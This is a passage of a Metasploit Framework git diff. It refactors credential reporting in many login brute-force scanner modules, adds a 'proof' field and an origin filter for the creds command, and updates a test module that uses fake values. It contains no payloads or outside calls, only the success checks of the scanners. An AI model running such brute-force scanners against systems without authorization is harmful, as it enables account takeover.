b74c903976..f2e2ad293a 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -104,6 +104,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -119,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :next_user else diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 5ba4d5a225..8acee32259 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -77,6 +77,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -125,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary location = res.headers['Location'] if res and res.headers and (location = res.headers['Location']) and location =~ /admin\// print_good("#{peer} - Successful login: \"#{user}:#{pass}\"") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location']) return :next_user else vprint_error("#{peer} - Bad login: \"#{user}:#{pass}\"") diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index 0a248e088f..c78ded7771 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -81,6 +81,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -129,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary report_cred( ip: Rex::Socket.getaddress(datastore['RHOST']), port: datastore['RPORT'], - user: user + user: user, + proof: base_uri+l ) end diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 169c17cefd..77ff86171e 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -145,6 +145,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -167,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil) print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) elsif(res and res.code == 200) vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'") diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb index 0939f53a09..9da9bffde7 100644 --- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -87,6 +87,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -113,7 +114,7 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD") print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb index 2278d40260..e1c3773db9 100644 --- a/modules/auxiliary/scanner/http/infovista_enum.rb +++ b/modules/auxiliary/scanner/http/infovista_enum.rb @@ -100,6 +100,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -126,7 +127,7 @@ class Metasploit3 < Msf::Auxiliary vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}") else print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) return :next_user end diff --git a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb index 6fee0a5043..0b355c0e4f 100644 --- a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb +++ b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb @@ -130,6 +130,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -142,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :abort if datastore['STOP_ON_SUCCESS'] return :next_user else diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index 9a3349e800..3c03a14c2d 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -97,6 +97,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -122,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary print_good("Got creds. Login:#{user} Password:#{pass}") print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/") - report_cred(ip: ip, port: rport, user: user, password: pass) + report_cred(ip: ip, port: rport, user: user, password: pass, proof: res.body) else print_error("Zenworks MDM does not appear to be running at #{ip}") return :abort diff --git a/modules/auxiliary/scanner/http/oracle_ilom_login.rb b/modules/auxiliary/scanner/http/oracle_ilom_login.rb index 0c1f907769..bc29b6d04c 100644 --- a/modules/auxiliary/scanner/http/oracle_ilom_login.rb +++ b/modules/auxiliary/scanner/http/oracle_ilom_login.rb @@ -70,6 +70,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -96,16 +123,14 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 200 and res.body.include?("/iPages/suntab.asp") and res.body.include?("SetWebSessionString")) print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Oracle Integrated Lights Out Manager Portal', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'Oracle Integrated Lights Out Manager Portal', + user: user, + password: pass, + proof: res.body + ) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb index e0ab987b7b..8aed527ef6 100644 --- a/modules/auxiliary/scanner/http/pocketpad_login.rb +++ b/modules/auxiliary/scanner/http/pocketpad_login.rb @@ -63,6 +63,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_time: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -86,16 +113,14 @@ class Metasploit3 < Msf::Auxiliary if (res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("Smeagol")) print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'PocketPAD Portal', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'PocketPAD Portal', + user: user, + password: pass, + proof: res.body + ) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index 115ceff6d4..8cf4fdc12f 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -76,6 +76,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 302 and res.headers['Location'].include?('redirectId')) print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Radware AppDirector', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'Radware AppDirector', + user: user, + password: pass, + proof: res.headers['Location'] + ) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb index 62497673fc..cb103e7da7 100644 --- a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb +++ b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb @@ -128,16 +128,14 @@ class Metasploit3 < Msf::Auxiliary collect_info(user, pass) - report_hash = { - :host => rhost, - :port => rport, - :sname => 'RFCode Reader', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'RFCode Reader', + user: user, + password: pass, + proof: res.code.to_s + ) return :next_user end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE @@ -146,6 +144,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Collect target info # diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 5621d690b2..f83d2b5033 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -50,6 +50,30 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def enum_user(user='administrator', pass='pass') vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'") success = false @@ -89,14 +113,12 @@ class Metasploit3 < Msf::Auxiliary if success print_good("#{rhost}:#{rport} - Successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :proto => 'tcp', - :sname => 'sap-businessobjects', - :user => user, - :pass => pass, - :target_host => rhost, - :target_port => rport + report_cred( + ip: rhost, + port: rport, + service_name: 'sap-businessobjects', + user: user, + proof: res.body ) return :next_user else diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 9f7e9a59ab..35833d09af 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -148,6 +148,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -190,7 +191,7 @@ class Metasploit3 < Msf::Auxiliary end print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass) + report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass, proof: res.code.to_s) return :next_user diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 03fa58ab3f..5c14785e1e 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -119,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - Username found: #{user}") when /\/ print_good("#{peer} - Successful login: \"#{user}:#{pass}\"") - report_cred(ip: rhost, port: rport, user:user, password: pass) + report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.body) return :next_user end end diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index b08d53cd3f..2a1337914a 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -151,6 +151,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -205,7 +206,7 @@ class Metasploit3 < Msf::Auxiliary # Report valid credentials under the CCTV DVR admin port (5920/TCP). # This is a proprietary protocol. - report_cred(ip: rhost, port: rport, user:user, password: pass) + report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.inspect) @valid_hosts << rhost return :next_user diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index 210a41b647..a23e6058ef 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -79,6 +79,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -95,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0] password = mac_to_password(mac) info = get_info(banner_santized) - report_cred(ip: rhost, port: rport, user:'factory', password: password) + report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized) break else print_status("It doesn't seem to be a RuggedCom service.") diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 214dc66eed..505581a4de 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -58,6 +58,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -70,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary case result when :success print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})" - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: result) return if datastore['STOP_ON_SUCCESS'] when :fail print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})" diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index 147a417d1a..a05995214d 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -72,6 +72,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -117,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary send_manager(cmd) if /Response: Success/.match(@result) print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result) disconnect return :next_user else diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 0a43898e17..af7ffcc6b6 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -26,102 +26,102 @@ class Metasploit3 < Msf::Auxiliary def test_novell_mdm_creds mod = framework.auxiliary.create('scanner/http/novell_mdm_creds') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_joomla_bruteforce_login mod = framework.auxiliary.create('scanner/http/joomla_bruteforce_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_infovista_enum mod = framework.auxiliary.create('scanner/http/infovista_enum') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_etherpad_duo_login mod = framework.auxiliary.create('scanner/http/etherpad_duo_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_ektron_cms400net mod = framework.auxiliary.create('scanner/http/ektron_cms400net') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_drupal_views_user_enum mod = framework.auxiliary.create('scanner/http/drupal_views_user_enum') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, proof: FAKE_PROOF) end def test_dolibarr_login mod = framework.auxiliary.create('scanner/http/dolibarr_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dir_session_cgi_http_login mod = framework.auxiliary.create('scanner/http/dlink_dir_session_cgi_http_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dir_615h_http_login mod = framework.auxiliary.create('scanner/http/dlink_dir_615h_http_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dir_300_615_http_login mod = framework.auxiliary.create('scanner/http/dlink_dir_300_615_http_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_cisco_ssl_vpn mod = framework.auxiliary.create('scanner/http/cisco_ssl_vpn') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_cisco_ironport_enum mod = framework.auxiliary.create('scanner/http/cisco_ironport_enum') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_cisco_asa_asdm mod = framework.auxiliary.create('scanner/http/cisco_asa_asdm') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_axis_local_file_include mod = framework.auxiliary.create('scanner/http/axis_local_file_include') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_splunk_web_login mod = framework.auxiliary.create('scanner/http/splunk_web_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_cctv_dvr_login mod = framework.auxiliary.create('scanner/misc/cctv_dvr_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_http_vcms_login mod = framework.auxiliary.create('scanner/http/vcms_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_telnet_ruggedcom mod = framework.auxiliary.create('scanner/telnet/telnet_ruggedcom') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: 'factory', password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: 'factory', password: FAKE_PASS, proof: FAKE_PROOF) end def test_vmware_http_login mod = framework.auxiliary.create('scanner/vmware/vmware_http_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_asterisk_login mod = framework.auxiliary.create('voip/asterisk_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_hp_imc_som_create_account @@ -299,6 +299,31 @@ class Metasploit3 < Msf::Auxiliary mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap-businessobjects', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end + def test_sap_businessobjects_user_brute + mod = framework.auxiliary.create('scanner/http/sap_businessobjects_user_brute') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap-businessobjects', user: FAKE_USER, proof: FAKE_PROOF) + end + + def test_rfcode_reader_enum + mod = framework.auxiliary.create('scanner/http/rfcode_reader_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'RFCode Reader', user: FAKE_USER, password:FAKE_PASS, proof: FAKE_PROOF) + end + + def test_radware_appdictor_enum + mod = framework.auxiliary.create('scanner/http/radware_appdirector_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Radware AppDirector', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_pocketpad_login + mod = framework.auxiliary.create('scanner/http/pocketpad_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'PocketPAD Portal', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_oracle_ilom_login + mod = framework.auxiliary.create('scanner/http/oracle_ilom_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Oracle Integrated Lights Out Manager Portal', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + def run self.methods.each do |m| next if m.to_s !~ /^test_.+/ From 75d59be87d9e1967b62304fbb939b0047bebd118 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 24 Jul 2015 14:04:23 -0500 Subject: [PATCH 040/119] Resolve #5753, Support Origin for the creds command Resolve #5753. Add an Origin column and allow the user to search by origin. --- lib/msf/ui/console/command_dispatcher/db.rb | 32 ++++++++++++++++----- 1 file changed, 25 insertions(+), 7 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index cb372a609d..30f3e2ffcc 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -837,6 +837,7 @@ class Db print_line " -s List creds matching comma-separated service names" print_line " -u,--user List users that match this regex" print_line " -t,--type List creds that match the following types: #{allowed_cred_types.join(',')}" + print_line " -O,--origins List creds that match these origins" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line @@ -925,15 +926,16 @@ class Db end def creds_search(*args) - host_ranges = [] - port_ranges = [] - svcs = [] - rhosts = [] + host_ranges = [] + origin_ranges = [] + port_ranges = [] + svcs = [] + rhosts = [] set_rhosts = false #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] - cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] + cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ] user = nil delete_count = 0 @@ -979,6 +981,9 @@ class Db mode = :delete when '-R', '--rhosts' set_rhosts = true + when '-O', '--origins' + hosts = args.shift + arg_host_range(hosts, origin_ranges) else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -1058,11 +1063,23 @@ class Db next end + origin = '' + if core.origin.kind_of?(Metasploit::Credential::Origin::Service) + origin = core.origin.service.host.address + elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session) + origin = core.origin.session.host.address + end + + if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) } + next + end + if core.logins.empty? tbl << [ "", # host - "", # port + "", # cred + "", # service core.public, core.private, core.realm, @@ -1070,7 +1087,6 @@ class Db ] else core.logins.each do |login| - # If none of this Core's associated Logins is for a host within # the user-supplied RangeWalker, then 